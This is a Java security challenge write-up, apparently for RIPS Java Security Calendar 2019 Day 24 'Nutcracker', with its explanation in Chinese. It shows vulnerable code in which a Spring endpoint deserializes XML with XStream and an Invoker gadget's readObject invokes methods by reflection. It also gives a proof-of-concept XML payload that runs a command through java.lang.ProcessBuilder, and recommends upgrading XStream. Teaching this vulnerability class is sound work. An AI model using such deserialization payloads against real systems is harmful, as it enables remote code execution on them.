Day 24 - Nutcracker Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.rips.demo.web; import java.io.*;import java.lang.reflect.*; class Invoker implements Serializable { private String c; private String m; private String[] a; public Invoker (String c, String m, String[] a) { this .c = c; this .m = m; this .a = a; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException { ois.defaultReadObject(); Class clazz = Class.forName(this .c); Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this .a}); Method meth = clazz.getMethod(this .m); meth.invoke(obj, null ); } } class User implements Serializable { private String name; private String email; transient private String password; public User (String name, String email, String password) { this .name = name; this .email = email; this .password = password; } private void readObject (ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); password = (String) stream.readObject(); } @Override public String toString () { return "User{" + "name='" + name + ", email='" + email + "'}" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @RequestMapping (value = "/unserialize" , consumes = "text/xml" ) public void unserialize (@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException { res.setContentType("text/plain" ); DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl" ,true ); DocumentBuilder builder = builderFactory.newDocumentBuilder(); Document xmlDocument = builder.parse(new InputSource(new StringReader(xml))); XPath xPath = XPathFactory.newInstance().newXPath(); String expression = "//com.rips.demo.web.User[@serialization='custom'][1]" ; NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET); Transformer transformer = TransformerFactory.newInstance().newTransformer(); transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes" ); StringWriter writer = new StringWriter(); transformer.transform(new DOMSource(nodeList.item(0 )), new StreamResult(writer)); String xmloutput = writer.getBuffer().toString(); User user = (User) new XStream().fromXML(xmloutput); res.getWriter().print("Successfully unserialized " +user.toString()); }
这里存在一个对象注入 然后反序列化造成命令执行。User对象是本来程序准备反序列化的,但是恶意的xml里还包含里Invoker对象,Invoker对象反序列化,造成代码执行。 poc1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <com.company.User serialization ="custom" > <com.company.User > <default > <email > peter@gmail.com</email > <name > Peter</name > </default > <com.company.Invoker serialization ="custom" > <com.company.Invoker > <default > <a > <string > touch</string > <string > /tmp/xstream.txt</string > </a > <c > java.lang.ProcessBuilder</c > <m > start</m > </default > </com.company.Invoker > </com.company.Invoker > </com.company.User > </com.company.User >
防御措施 升级XStream.
reference
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
https://www.ripstech.com/java-security-calendar-2019/
https://www.zhaidehui.com/index.php/archives/327/
https://www.anquanke.com/post/id/180932
https://stackoverflow.com/questions/37203247/while-loading-jni-library-how-the-mapping-happens-with-the-actual-library-name
https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html